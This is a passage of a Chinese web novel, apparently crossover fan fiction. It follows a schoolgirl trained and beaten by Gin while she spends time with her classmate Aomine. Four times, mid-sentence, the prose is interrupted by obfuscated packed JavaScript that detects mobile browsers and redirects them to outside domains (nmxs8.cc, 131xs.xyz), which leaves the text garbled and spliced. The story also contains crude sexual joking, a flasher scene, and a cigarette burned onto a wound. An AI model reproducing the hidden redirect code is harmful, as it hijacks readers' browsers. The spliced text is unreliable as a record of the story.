目光略过这几人,我径直朝黑皮同桌伸出手:“你的外套借我。” 黑皮同桌:??? 这家伙就没怎么运动,汗水都没出两滴,外套肯定干干净净。 成功捞到同桌的外套,我本来还头疼要怎么和老父亲解释,结果对方接连三天没有回家。信息倒是一条不少,不是让我自己注意按时吃饭和休息,就是痛斥狗公司的加班文化,说他们实验室每天都卷得飞起,大家都是不下班就不上班的状态。 「他们难道没有家吗!」看着信息,我都能想象出老父亲抓狂崩溃的模样,「懂不懂什么叫做劳逸结合,干守在实验室里,小白鼠也进化不成暴鼠兽啊!」 对此,我只能默默回复:「冷静。」 我有想过趁着周末去探班,但他们实验室好像有什么奇奇怪怪的保密原则,里面工作的研究员都得经过八百重身份验证才能进入。现在天气也热,老父亲觉得太过折腾我,也就没让我去,答应我下周末前肯定会找个时间溜走,陪我度过一个合家欢的周末。 校运会如期举办。 运动场四周围满了人,呐喊和助威接二连三,一声叠着一声,每个人脸上都洋溢着青春张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412894|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬的笑意。 人与人的悲欢并不相通,我只觉得吵闹。 反正不用上课我也没有报名参赛,干脆躲在天台的阴影里打瞌睡,迷迷糊糊察觉到有人坐在我身旁,似乎还不满地嘟嚷了两句。 嗯??? 是谁??? 在这个挥洒汗水的时刻,竟然和我一样在天台上摸鱼。 挣扎了好一会我才勉强抓回已经飘散到宇宙黑洞的意识,打了个哈欠我揉了揉眼睛坐起身,一睁眼就看到黑皮同桌坐在我身边翻看写真集,页面是穿着性感三点式泳装的成年女性。 我:“……?” 我一下子就清醒了,凑过去看:“哇哦,长得挺可爱的,你喜欢这种类型的?” “我可没兴趣和女人讨论成人杂志,”同桌瞅了我一眼,目光落回到杂志上,又翻了一页,“醒了就该干嘛干嘛去,别在这里打扰我。” “就是因为无事可做,才会在这里睡觉啊。”我翻了个白眼,又凑过去看,杂志上的女性肤白貌美大长腿,笑容和姿态又纯又欲,确实勾得人心痒痒的。 “没有猛男吗?”我看着对方又翻了一页,随口问道,“全部都是单人的?单看杂志也太没有代入感了,你咋不搞两部片看看。” 闻言,同桌翻页的动作一滞,顿时用一种见了鬼的神情看我:“喂!你真的是女生吗?” “无论男女,都有生理需求,”我一脸郑重地拍了拍对方的肩膀,“青峰同学,你这是性别歧视。” “……别给我扣帽子。” 我说的这都是实话啊。倒不如说他这个年纪却一本黄书没看过,我才要怀疑他是不是哪里有问题。 我以女性的专业目光点评了一番,并且在交流中成功得知他的偏好。总的来说就是,脸不重要,但胸越大越好。 很肤浅。 也很真实。 非常符合同桌四肢发达的形象。 “那你,”我想了想,发现自己并没有记住对方的名字,“那你喜欢那个粉毛少女吗?就是你们篮球队的经理,带我去篮球队那个。” “哈?”黑皮同桌像是听到什么不可置信的事情一样,露出一个略带恶劣的困惑神情,“你在胡说什么,我怎么可能喜欢五月。” 原来是叫五月。脑子里晃过了这个无关紧要的念头,我一本正经地说道:“她长得好看,身材也好。虽然不太了解,但性格似乎也不错。不说男生,身为女生的我也觉得她很可爱啊。” “算了吧,”同桌摆摆手,似乎还嫌弃地龇了龇牙,“我和那家伙从小一起长大,就没把她当女人看待。” 这是在立flag。 别的不说,在各大ACG竞党里,我可是忠实的幼驯染党派。 “又不是我瞎编,是你自己说你喜欢欧派啊,那位五月同学不就很符合……等等!你的喜好该不会是因为她才形成。因为对喜欢的女生爱而不得,特地从成人杂志里寻求代餐,”我眉头一皱,发现事情并不简单,目光上上下下扫射对方一顿,严肃批评他,“这种行为达咩,太像痴汉了……嗷呜。” “滚。”同桌恶狠狠捶了我的脑袋。 5. 005 十一月初的时候,我正式开始接受琴酒的训练。 一开场的高强度训练就直接把我干趴下了,这个半点不懂因材施教和循序渐进的男人不仅不反思自己的教学方式,还居高临下嫌弃地辱骂:“废物。” 有被气到。 愤怒让我突破体质的极限,上一秒还喘不上气的我,下一秒就暴起一个咸鱼突刺,企图踹中琴酒的膝盖窝让他摔个狗吃屎。但他的动作比我更快,一把掐住我的胳膊反扣在背后,屈膝牢牢压在我的腰上,每一个音节都尽显嘲讽:“小废物。” 我躺平了。 人要学会接纳自己,接受自己的平庸。 但琴酒似乎并不懂得这个人生道理,偏生要逆天改命,把我捞起来又揍了我一顿,企图让我在绝境中爆发。 啊,我死了。 不,我能活。 我躺平在地装死,任由琴酒怎么揍都不起身。很快,琴酒大概是觉得这种单方面的殴打太过无聊,要是把我打死了麻烦的反倒是他自己,干脆换了个课程,像是提着一只小鸡崽一样把我扔到射击训练场,顺手扔了把伯/莱/塔给我,让我自己开枪试试看。 我:“……” 示范呢示范,不用解说的吗? 就他这狗屎教学方式,不是成神就是成神了。 幸好在过去无数个周目里,手/枪和矿泉水一样都是我的生活必需品,我干脆利落扣下保险,径直朝靶子开枪。但我忘了,这周目的我还是个手无缚鸡之力的JK,连枪都没见过的那一种。虎口猛地刺痛感导致肌肉不自觉地痉挛,枪口一偏移,子弹擦过人形枪靶的耳廓。 我:“……” 我甩了甩手,缓解后坐力带来的麻痹感。 琴酒偏头看过来,明明是疑问句却被他说的像陈述句一般笃定:“你之前用过枪。” “用过啊,”我随口胡说八道,“我家也算有钱,还开在横滨那种法外之地,私藏几把枪自保也不奇怪吧。” “哦?”琴酒走过来从背后握住我持枪的手,一枪射爆人形枪靶的脑门,嗤笑声实实地压在我的头顶,“小家伙,你倒是总能给我惊喜。” “这也叫惊喜啊,”我侧身避开对方的束缚,自己朝枪靶又开了一枪,这一枪命中咽喉,“等我宰掉你那天,你岂不是要兴奋得失禁。” “我很期待那一天的到来。”一边这么嘲讽地说着,琴酒手把手教我更换弹匣,并冷漠地要求我必须在一周内学会3秒更换弹匣。 这男人长得丑,想得倒是美。 我要能这么牛逼,早就把太宰治填进东京湾里了。 十轮下来,虎口已经被枪柄后坐力磨出伤。我看着鲜血淋漓的伤口发了一会呆,才抬头对琴酒说:“好痛,我要疗伤。” 琴酒此时正眯起眼睛注视我,目光隐藏在刘海的阴影底下,带着居高临下的试探与打量,也不知道在想些什么。半响,他才纡尊降贵般开口:“伏特加。” 伏特加这位后勤奶妈已经抱着医疗箱候在场外,听到来自大哥的召唤立马上前,掏出碘酒和纱布十分麻利地帮我处理好伤口。 右手被缠上纱布,我试探性地握了握拳,已经可以预料到接下来的生活是多么的不便利。对此,我不满地指责了琴酒一句:“你肯定很不适合当老师,以后别去教人了。” 琴酒咬住香烟,毫不掩盖地嗤笑。 想打他。 但我打不过他。 所以我伸手直接把他唇间的香烟拔出来丢掉,用脚尖碾压:“喂!别老是制造二手烟,有没有点公德心的。” 琴酒耸了耸肩,悠悠然点燃下一根香烟:“真是个坏脾气的小家伙——” 话音未落,他猛地攥住我受伤的右手,直接把烟头碾在绑着绷带的大鱼际上。捏着烟蒂的手在一点点用力,他在笑,眼神含着渗人的蜜,像是在看自家不懂事的孩子一样,宠溺地感叹:“看来是我太过纵容你了。” 以烟蒂为中心,绷带被烧焦出一个黑灰色的圈圈,留下一个残缺的边缘。手掌被对方紧紧攥住,我恍了恍神,思绪跑偏,此时此刻想的竟然是:绷带竟然是不可燃物啊。 视线从掌心往上,我定定地看着他,他也饶有兴致地回视我。三秒后,在伏特加惊恐的目光下,我自顾自拆掉绷带,径直朝他伸出伤口狰狞的那只手。 “真的要烫,就烫在肉上,”我直视他的眼睛,“还带着一股烟熏肉的味道,挺下饭的,要试试看吗?” 闻言,琴酒的眼睛都微微睁大。下一秒他便笑了,笑得跟个偷/税/犯似的,一边取过绷带包扎,一边像是在享受般叹息:“小家伙,我真的越来越期待你的成长。” 他的动作细致而又富有耐心,嗓音低沉且温柔,粗粝的指尖划过手背时会带来一股脊背发麻的瘙痒。我动了动指尖,面无表情地看着他,抬手就准备扇他一巴掌,让他知道我的成长。 ……意料之中,没有成功。 手背被对方紧紧握住,以一种我觉得伤口都能飙血的力道包裹在掌心里,他低头在我的指尖落下一个吻:“祝愿你,在彻底绽放之前,不会先行枯萎。” 真是傻逼。 我朝他翻了个白眼。 送我回家的是壮汉伏特加,这家伙一路上都在透过后视镜偷看我,隔着墨镜我都能感受到他实质性猥琐的目光。 我实在烦了,让他有话直说,再偷看我就把他的眼珠子挖出来。 “小林小姐,”伏特加支支吾吾,欲言又止,最后只憋出一句,“你想吃拉面吗?” 我眉头一皱:“哈???” 无事献殷勤,非奸即盗。 古人的话还是有道理的。 伏特加用着并不高明的套话技巧,问我是不是讨厌琴酒,为什么讨厌琴酒,怎么样才能不讨厌琴酒。 问题很多,但都是废话。 我这是只对琴酒态度不好吗? 我是平等地对所有人态度不好。 “得罪大哥并没有好处,”他苦口婆心地劝道,“我们以后还要相处很长一段时间,大哥也不是好脾气的人,得罪他只会给你自己添麻烦。” “哈?区区琴酒,我为什么要给他好脸色。” “因为大哥很厉害啊,组织里所有人都很敬重他。”他理所应当地回答。 格斗枪法。 运筹帷幄。 真知灼见。 对一切都游刃有余,没有琴酒做不到的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412895|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏特加毫不掩饰他对琴酒的尊敬和崇拜,半点不停歇地列举出琴酒百八十个优点,琴酒就是他无所不能的大哥。 脑残粉本粉都没他这么脑残。 我咬着筷子,抬头瞅他:“你别如此神化琴酒,他也是个人,会拉粑粑的。” 伏特加:“……” “不许你这么诋毁大哥!”他都快要捧着脸呐喊了。 “哈?难道琴酒不用拉粑粑吗?” “闭嘴啊!” “他的头发这么长,拉粑粑的时候肯定很不方便,一个不小心发尾就沾到粑粑了。” “别说了,”伏特加一副灵魂出窍的模样,“别再说了。” 这哪里算是诋毁,是个人不都得拉粑粑。我翻了个白眼,继续戳拉面。 不得不说,伤在右手真的很不方便,做什么事情都别别扭扭的,写个字都费劲。黑皮同桌瞟我一眼,一边帮我拧开瓶盖,一边不咸不淡地问了一句:“你的手怎么了?” “毕竟我经常会遇到校园霸凌嘛,”我随口胡扯,“所以趁着有空去学打拳了。以后再遇见霸凌我的人,一拳一个送他们往生。” 黑皮同桌:“……哦。” “那个,”头顶突然传来迟疑的男声,不知道什么时候过来的班长小心翼翼地打断我们,“小林同学,外面有人找。” 我下意识偏头看过去,正好看到粉毛少女探头探脑鬼鬼祟祟的模样。 我:??? “你确定是找我?”我摸不着头脑,“应该是找青峰同学吧。” “五月?”青峰同学跟着一起起身,不耐烦地啧了一声,“那家伙又在搞什么鬼。” 桃井同学的诉求很简单,也很莫名其妙。她说她周末要去找她心爱的哲君,拜托我陪青峰同学去买篮球鞋。 不说是我,连当事人青峰同学的头顶都冒出一个问号:“喂!五月你又在——” “阿大……青峰君是篮球队夺冠的关键,桐皇不能没有他,”然而桃井同学直接无视对方,一把紧紧握住我的手,用一种托孤的沉重语气拜托道,“我只能拜托你了。” “比起这个,”我瞅了瞅青峰同学那张黑脸,“哲君是?” 他瞥了我一眼,似乎没懂我这个问题的用意,但还是老老实实地回答:“国中时期的篮球队队友。” 我:!!! 我觉得我悟了。 桃井同学已经找到真爱,她不忍心幼驯染孤独终老,所以正在为他寻找灵魂伴侣。 ……这也不对啊。我就只是个关系普普通通的路人同桌,到底发生了什么才会找到我头上,总不至于因为我上次成功让他去训练吧。 “小林同学,”她的目光更加殷切,“我一眼就看出来了,青峰君更愿意听你的话。要是这周末没有时间,下周末也可以,或者放学后。对,择日不如撞日,不如就今天吧。” 我:“……”不。我觉得你的眼睛有问题。 这边桃井同学正在苦苦哀求,那边青峰同学不满了:“喂!你们两个干嘛自顾自决定,我才不要这家伙陪我去买球鞋。” “阿大闭嘴,这里没有你说话的份啦!” 青峰同学:“……” 6. 006 对于我要陪青峰同学去买篮球鞋这件事情,老父亲哭得凄凄惨惨:“宝,爸爸不允许你谈恋爱。” 大可不必。 我没好气地推开他哭成一张烂橘子的脸:“爸爸,你真的想多了,我和他不存在同学以外的任何情谊。” “那你为什么要和他出去?” “都说了,我只是去陪他买双篮球鞋而已。” “他自己不能去买吗,为什么一定要你陪着!呸!这都是那些诡计多端的狗男人的借口而已,宝你千万不能被他们骗了。” “放心吧,我这辈子不是嘎掉就是孤独终老,对男人和爱情一点兴趣都没有。” 闻言,老父亲一梗,又开始抽抽搭搭掉眼泪,拽着我的衣摆勉勉强强说道:“如果、如果那家伙是个好人,我也不是不能允许的。” 我:“……算了吧。” 我和青峰同学约在了地铁口见面,不得不说长得高还是有优势的,他就是鸡群里突出来的那只鹤,一眼就能发现他的身影。 ……好像把自己给骂进去了。 我晃了晃脑袋,果断选择与自己从未及格过的国文和解。 三步并作两步小跑过去,我正想和他说可以走了,一抬头却哽住了。 青峰同学今天穿了一件鹅黄T恤,棕色工装裤,靛青色的碎发有些凌乱。 这配色,再加上这肤色。 我认认真真端详他那张黑脸,越看越觉得熟悉,总觉得这个黑皮在哪里见过。 大概是我的目光太过直白,他低头瞅了我一眼,又瞅了一眼,神色立马就变得不耐烦,凶巴巴地啧了一声:“干嘛?” 我努力想了想,终于想出来这份熟悉感从何而来,真诚发问:“有没有人说你长得像水箭龟?” “哈?” “就是宝可梦里,杰尼龟的最终进化。” “……别以为我不打女人。” “真的真的,”我还特地搜索出水箭龟的图片,举起手机给他看,“你看,是不是一模一样。” 青峰大辉:“……” 他看起来想打我,但他忍住了,转过身抬腿就走。 行叭。不能接受真实评价,这是人类的通病了。 目的地是商业街,牌子、款式、鞋码都已经确定好,只要找家商场买了就行,连试都不用试。 就是这么简单的事情,我们跑遍了各大商场小店,竟然全部没货。 我:“……?” 我确实对篮球一窍不通,但篮球鞋都这么畅销的吗,竟然一双库存都没有。 青峰大辉看起来不是很在意的样子,他也懒得再跑,看在我辛辛苦苦陪他买鞋的份上中午请我吃了M记。 “那怎么办?”我咬着吸管问他,“你们什么时候比赛,旧鞋还能穿吗?” “下个月。那种事情无所谓,”他懒洋洋地靠在椅背上,双腿敞开,单手拿着汉堡,“反正随便打也能赢。” 这是在立flag。 我点点头,也没有在意,又拆了一包番茄酱。 大概是我的反应太过平淡,青峰同学反而神情奇怪地瞅了我一眼:“你不劝我吗?” 我莫名其妙:“我要劝你什么?” 他斜眼睨我:“你不是被五月派来劝我去训练的吗?” “你的队友都不管用,更何况是我这种路人同桌,”薯条沾了番茄酱,我一边寻思还是酸甜酱好吃一些,一边随口搪塞他,“放下助人情结,尊重他人命运。你不去训练,输了比赛的是你不是我,劝你干嘛。” “哈?”他反倒不满了,“我才不会输,能打败我的只有我自己。” 又在立flag了。 我敷衍地应了两句,也没在意他这番中二宣言。但他却不满了,咋咋乎乎要和我one on one,让我知道他的厉害。 “我又不会篮球,就算赢了我也没用。”我翻了个白眼,随即托腮看他,“真好呢,拥有常人无法企及的天赋。” 他挑眉,嗤笑:“羡慕?” “羡慕啊,你是拥有天赋的赢家,而我是无论怎么努力都改变不了局势的输者。” “嗤。羡慕不来的。” “我知道,所以我就摆烂了,”我笑出了声,“你能见到我,就是我摆烂的结果。” 闻言,青峰大辉明显不满了:“喂喂!你什么意思?” “不是看不起你的意思,”我摇头,“要是我没有摆烂的话,就不会来桐皇了。” “你的成绩和我半斤八两吧,”他狐疑,“难不成你以前是以东大为目标的优等生?” 并非那个意思。 我想起过去各式各样的结局,忍不住又笑了一声:“若我依旧执着较劲不服命,现在可能已经在公海里喂鱼了吧。” “哈?”黑皮同桌眉头一皱,“喂鱼才叫做摆烂吧。等等!公海里的鱼还需要人工喂养的吗?” “没想到你也会说冷笑话啊,青峰同学。” “……闭嘴。” 我抬头看向落地窗外的远处,并没有纠正他的误解。 回去路上,途径一个街头篮球场。几个小男孩追逐运球投篮,动作是连我这种外行都能看出的生涩,但他们脸上都带着灿烂的笑容。 青峰大辉停下脚步,偏头看向场内,露出一个可能他自己都意识不到的落寞神情。 我:“……?” 说实话,怪渗人的。 明明是一个五大三粗的黑皮,却偏生要学着文艺片里纤细柔弱、破碎感十足的少年,违和感让我鸡皮疙瘩都要从手臂一路窜上后脑了。 为了眼睛着想,我果断上前一步,一脚踹在他的膝盖窝上。 “你干嘛!”青峰同学炸了,朝我咆哮,“别以为我真的不打女人。” 我镇定地指了指球场:“打球吗?” 青峰大辉:“……有时候我真的跟不上你的思路。” “问题不大。有时候我也不知道自己在想什么。” “……闭嘴吧。” 好心的小男孩把篮球借给我们,我尝试运了两下球。青峰大辉双手插兜,就站在一边看着:“你的手没关系吗?” 我惊奇地瞅了他一眼:“看不出来,你这人竟然还挺细心的。” 他面无表情:“看得出来,你这人确实挺欠揍的。” “放心放心,没这么娇气。”我动用自己少得可怜的篮球知识,抱着篮球企图三步上篮。 意料之中没有进,连篮筐都没碰着。 我也没有在意,跑过去接住篮球,又投了三四次。 次次都没有中。 ……算了。区区篮球,不值得我花费心思。 我抱着篮球思考三秒,偏头看向身旁的青峰同学,随口问道:“要怎样才能投中?” 他随意托着我的手背,手腕微微用力一甩。 中了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412896|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我:“……” 不知道该说什么,就这样叭。 “就这么简单,”青峰同学一摊手,“倒不如说,我不懂你为什么怎么投都投不中。” “……你和队友肯定有很多矛盾吧。”我抱着篮球,一脸深沉地说道。 他明摆着一副看傻瓜的表情。 好的,我懂了。难怪那位桃井同学这么操心,竟然还要拜托到我这位路人同桌身上。 投篮的动作一顿,我突然察觉到不对劲,偏头看向场外,一只皮卡丘……阿不对,是一位和我们年龄相仿的金毛少年,正瞪圆了眼睛震惊地看着我们。 不认识。 那估计就是青峰同学的熟人了。 我朝那边扬扬下巴:“你认识那只皮卡丘?” “什么皮卡丘啊,”青峰同学不满地嘟嚷,顺着我的目光看过去,顿时面露无奈地喊道,“黄濑,你在那里干嘛。” 这句话似乎惊醒了对方,少年踉踉跄跄地退后一步,用着整条街都能听清的声音吼道:“小青峰你竟然交了女朋友?!” 我:“……?” 青春期少年果真天真单纯,只要看到一男一女走在一起,就能往恋爱方面想。 皮卡丘少年名为黄濑凉太,是青峰同学国中的篮球队友,现在就读于神奈川海常高校。 经过青峰同学不耐烦地解释,黄濑凉太迅速接受我们只是普通同桌的事实,瞅了瞅我小声嘀咕:“我还是第一次见,小青峰身旁出现了除小桃井以外的女生。” 「小」青峰? 这人的口癖也是奇奇怪怪的。 黄濑凉太得知我们今天的行程安排就此结束,想拉着青峰大辉去找他们的国中队友,据说就是桃井五月口中的那位哲君,并且诚邀我一起。我对扩展朋友圈没兴趣,企图就此别过,但对方却坚持要送我回家。 “怎么可以让一个女生自己回家,太危险了。”黄濑凉太十分坚持。 我:“……东京警察听到你这句话可是会哭的。” “没关系啦,我们顺路。”他毫不在意地摆摆手,笑得跟金毛犬一样,“小青峰的同桌就是我的同桌,那就更应该护送你回去了。” 黄濑凉太应该是近期网络上流行的那种e人,相当自来熟,对着我这个初次见面的路人甲都能熟络地找话题聊起来。 “小林同学是混血儿么?” “小青峰打篮球超级厉害的,我就是因为憧憬他才会加入篮球队。” “哈哈哈奇迹的世代里我是最弱的那一个,经常被别人欺负。对了,你国中是哪个学校的,有看过我们比赛么?” 跟布谷鸟似的,咕咕咕咕咕咕。 我揉了揉耳朵,在即将耳鸣前,趁着对方回忆往昔的功夫,连忙走快两步,义正辞严给这两位好朋友留下叙旧空间。 黄濑凉太愣了一下,扬起一个堪比夕阳般绚烂的笑容:“诶?没关系啦,我和小林同学也聊得很愉快。” 不不不。愉快是你的,而我只觉得耳鸣。 我又走快了两步,直接把他们甩在身后。却没想到,刚到拐角出,一个穿风衣的陌生男人把我拦住了。 风衣长至小腿肚,我正想着穿这么严实不热么的时候,男人突然一脸兴奋地敞开风衣,屈膝顶胯,中间的〇〇〇〇迎风飘荡。 我:??!! 我下意识往那处一瞟,脱口而出:“!!!卧槽,好小。” 7. 007 我沉默了,露〇狂魔也沉默了。 下一秒,露〇狂魔暴怒,上前一步朝我逼近,更用力地顶胯:“你说谁小?” 我默默地盯着他那处三秒,抬眸,嗤笑:“小。” 露〇狂魔:!!! 他怒上加怒,伸手就要来抓我:“你这个——” “你在跟谁说话呢。”与此同时,身后传来青峰同学一如既往慵懒的声音。 “是遇到熟人……嘎!是变态。”接下来是黄濑同学尖叫鸡一般的喊声。 我眨了眨眼,还没来得及回答,一阵狂风吹过,眼前的露〇狂魔跟安装上马达一样,呲得一声跑了,拐进小巷子里瞬间没了踪影。 还跑得挺快的。 我一把拽住企图去追的青峰同学:“算了吧,追不到的。” 他烦躁地骂了一声“可恶”,转头劈头盖脸地质问我:“你这家伙不会喊人吗?” 对于他突如其来的暴脾气,我有些莫名其妙:“喊人干嘛,我自己又不是不能解决。话说,你在生什么气?” 青峰大辉看着更恼怒了,黄濑凉太看了又看我,小声问道:“小林同学,你不害怕吗?” “害怕倒不至于,就觉得挺恶心的。而且吧,”我比了一个〇国人震怒手势,“长得跟波仔肠似的,就这么短一截,如果不是我眼神好肯定都看不出来。” 闻言,这位金毛皮卡丘捧着脸,露出世界名画《呐喊》神情,看着几乎都要尖叫了。 说实话,我有点没懂他如此震惊的原因:“难不成你们不觉得吗?还是说——” 我眉头一皱,发现事情并不简单。 狐疑地上下打量他们,我突然之间冒出一个猜测。 该不会他们两个也是这种波仔肠尺寸,所以觉得这就是国人平均水平吧。 果真不能以貌取人,这两个家伙看着也算仪表堂堂,没想到内里这么……迷你。 据说男性对这方面特别在意,我很淡定地转移话题:“走吧,我的老父亲还在家里等着我开饭。” “……再乱想我就要揍你了。”青峰同学面无表情地说。 这是虚张声势。 或者该叫色厉内荏? 算了,我国文真的不行,不勉强自己瞎用成语了。 第二天,保姆琴酒接送我放学时,我提起了这件事情,并真诚发问:“你们年轻的时候会因为自己只有波仔肠大小而感到自卑吗?” “波仔肠?!”伏特加震惊了,磕磕巴巴地向我确定,“你、小林小姐,你说的是那个?” 我翻了个白眼:“废话。除了〇〇〇〇,难不成你身上还有别处像波仔肠?” 伏特加似乎都要撅过去了,琴酒倒是很淡定,眼神嗓音和缥缈的香烟一般平淡,仗着身高差居高临下地睨我:“脑子不想要了,我可以帮你扔去喂狗。” 看看,这才是成年人的从容,淡定得我都猜不出来他是不是波仔肠尺寸了。 不过这不是重点,我也不是那种会抓着别人痛点去嘲笑对方的烂人。 这件事情很快就翻篇,因为我把精力投入在更重要的事情上。 期末将近,各科老师生怕班级平均分会影响他们的绩效,每天一小测,每周一大测,上课的第一件事情就是测试。 我的脑袋麻了。 同桌的脑袋也麻了。 因为老师威胁他,如果期末不及格的话,就不允许他参加篮球比赛。所以他们篮球队的前辈天天逮住他学习,连带着桃井同学课间找到我们班级的频次直线上升。然而很明显,他不是学习的料,每一天都顶着蚊香眼上课,在课本上鬼画符。 好吧。我也没有资格嘲笑他。 目光落回桌面的试卷上,看到上面鲜红的27分,我默默给我的保姆琴酒留言:「学校有事,晚归。」 琴酒回得很快,连个标点符号都没打:「几点」 我想了想:「六点左右,班主任要抓我去谈话。」 琴酒:「?」 我没有再回他,拎着试卷老老实实地跟着班主任去他的办公室。 班主任的开场白很温情,放缓语气问我转学过后适应得如何。他说他知道我的家庭情况,也清楚之前我遇到一些糟糕的事情,但还是希望我能尽快走出来,开启新生活。说了大概有二十来分钟,听得我直犯困,差点都忍不住打了个哈欠,他才缓缓进入正题,说我的学习状态需要调整一下,如果有问题有困难有心事的话可以随时来找他。 我左耳听右耳出,恍恍惚惚地应好,丝毫没放在心上。 琴酒那辆又贵又老派的保时捷已经停到路口,面对对方略带不耐烦的询问目光,我随口解释:“我月测试不及格,被老师留下了。” 琴酒:“……?” “干嘛这副表情,”对方脸上那种欠揍的疑惑太过明显,我无语地瞥了他一眼,“我看起来像是年级第一的优等生吗?” 伏特加默默开口:“马爹利是牛津留学回来,他的女儿……” “——不至于是个学渣,对吧。”我翻了个白眼,“不好意思,你们对我有误解。” 大概是因为班主任起了个头,原本都不管我的各科老师突然积极起来,关心我的学校生活以及考试成绩。 在第三次留堂后,琴酒爆发了。 他强行夺走我的书包,迅速翻了一遍课本后就把我拎进训练场,一边出拳一边出题。答对他奖励一拳,答错他奖励三拳。 这是碳基生物能做出来的事情吗? 在这种只有鞭子没有糖果的疼痛记忆法下,我迅速掌握知识的精髓,年级排名一度挤进前五十。 黑皮同桌对此表示十分惊奇,他大概也是刚被班主任教训过,托着腮懒洋洋地问我是怎么做到的,也教一下他作弊的方法。 哈?谁作弊了,这可都是我勤学苦读换来的。 我从笔袋里翻出圆规,猛地扎进课桌里,一本正经地告诉他:“要是你下次英语考试不及格,我就拿圆规扎你指甲缝。” 黑皮同桌:??? “等你痛几次,你就能进步了。”我镇定地说道。 黑皮同桌:“……” 黑皮同桌说,他拒绝这种疼痛教学法,还是让他继续不及格吧。 真是幸福的孩子,不像我连选都没得选。保姆琴酒只会一边揍我一边威胁我,要是下一次进不了年级前二十,他会让我知道什么叫做恐怖如斯。 又一次挨揍以后,我微妙地觉得事情不对。 事先说明,这并非自我意识过剩。我承认,我对琴酒的态度算不上友善,第一次见面还朝他比了个国际通用友好手势。但这位据说心狠手辣的厉害角色却以德报怨,不厌其烦地指导我武术和枪法,连与他无关的成绩都要插一手,企图辅助我攻上桐皇的顶端。 到底是为什么呢? “伏特加你说,”我看着那边朝沙包挥舞拳头的琴酒,掐着下巴沉思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412897|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“琴酒是不是暗恋我?” 伏特加顿时露出一个连墨镜都挡不住的惊恐神情,磕磕巴巴地问我为什么会这么想,这种事情是绝对不可能的。 “你们企业福利肯定不包括教导员工家属自保吧。” “当然不包括,你在想什么呢。” “琴酒也不是那种闲得没事干,去指导别人武术的人。” “大哥可是很忙的,哪像你们这些高中生。” “连学习成绩都要插手,这么多年我爸都没多说一句话,也就他屁事多多,还非得我考进前二十。” “大哥可能只是觉得,你总是被老师留堂会耽误他的教学。而且吧,要是喊家长的话马爹利肯定又会不管不顾工作就下班跑路。” “再加上我对琴酒的态度不算好。” 伏特加瞅了我一眼,也不知道想到什么,默默应道:“确实。” “那他为什么要来教我,还如此尽心尽力,”我一摊手,“除了暗恋我还有别的解释吗?” 伏特加沉默了。半响他才磕磕巴巴地说着连他自己都明摆着不相信的话:“可能大哥很欣赏你,起了惜才之心,他说过你的眼神很漂亮。” “欣赏一个JK?”我对此嗤之以鼻,“这都是男人的借口而已。伏特加你也是男人,男人那点狗屁心思你会不懂吗?” 我觉得伏特加是懂的,特别是他还暴风摇头,脑袋都快摇出残影了。 “可惜了,”我朝正在休息的琴酒扬起下巴,在伏特加惊恐的神情下淡定地说道,“抱歉啊琴酒,我这辈子已经对男人和爱情不抱希望了。你还是歇了心思比较好,不要喜欢我,这是没有结果的。” 琴酒喝水的动作明显一顿,放下水瓶朝我们走过来,居高临下挤出一个恶意满满的笑容:“小家伙,你的想法真可爱。” 我耸了耸肩:“自然可爱,要不然怎么会吸引到你呢。” 琴酒并没有废话,他直接把我拎回到训练场,打了我一顿。 半个小时后,我鼻青脸肿地回到休息区,淡定地告诉一脸难以言喻的伏特加:“琴酒只是恼羞成怒而已。” “小林小姐,你还挺,”他艰难地从咽喉挤出一个词汇,“自信和乐观的。” “你还是第一个用这种正面词汇形容我的人,”我歪头想了想,大气地拍了拍他的手臂,“下次有机会请你吃饭。就我们两个人,不带上琴酒。” 伏特加跟做贼一样瞅了训练场里的琴酒一样,一声不吭安静如鸡。 我也顺着他的目光看过去,银发马尾随着对方的动作一晃一晃的,一晃眼看像是流淌着星光的银河。不得不说,头发这么长却依旧保持靓丽,琴酒一定花了大心思保养,真不符合他的人设。 